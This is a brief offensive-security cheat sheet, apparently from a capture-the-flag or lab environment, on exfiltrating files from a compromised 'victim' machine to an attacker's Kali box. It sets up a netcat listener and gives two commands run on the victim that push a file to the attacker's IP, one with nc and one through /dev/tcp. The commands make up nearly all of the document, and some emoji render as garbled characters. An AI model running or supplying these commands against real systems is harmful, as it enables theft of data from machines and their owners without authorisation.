๐ฅ๏ธ Step 1: Start Listening on Local Machine (Kali)
Run the following command to start listening for incoming files:
nc -lp 4444 > filename # waiting for receiving the files
๐ค Step 2: Transfer File from Remote Machine (Victim)
Run this command on the victim machine to send the file:
nc -w 3 10.10.14.19 4444 < filename # it's time to send the file
OR, use this alternative method:
cat filename > /dev/tcp/10.10.14.19/4444
Note:
10.10.14.19is the IP address of the local machine (tun0).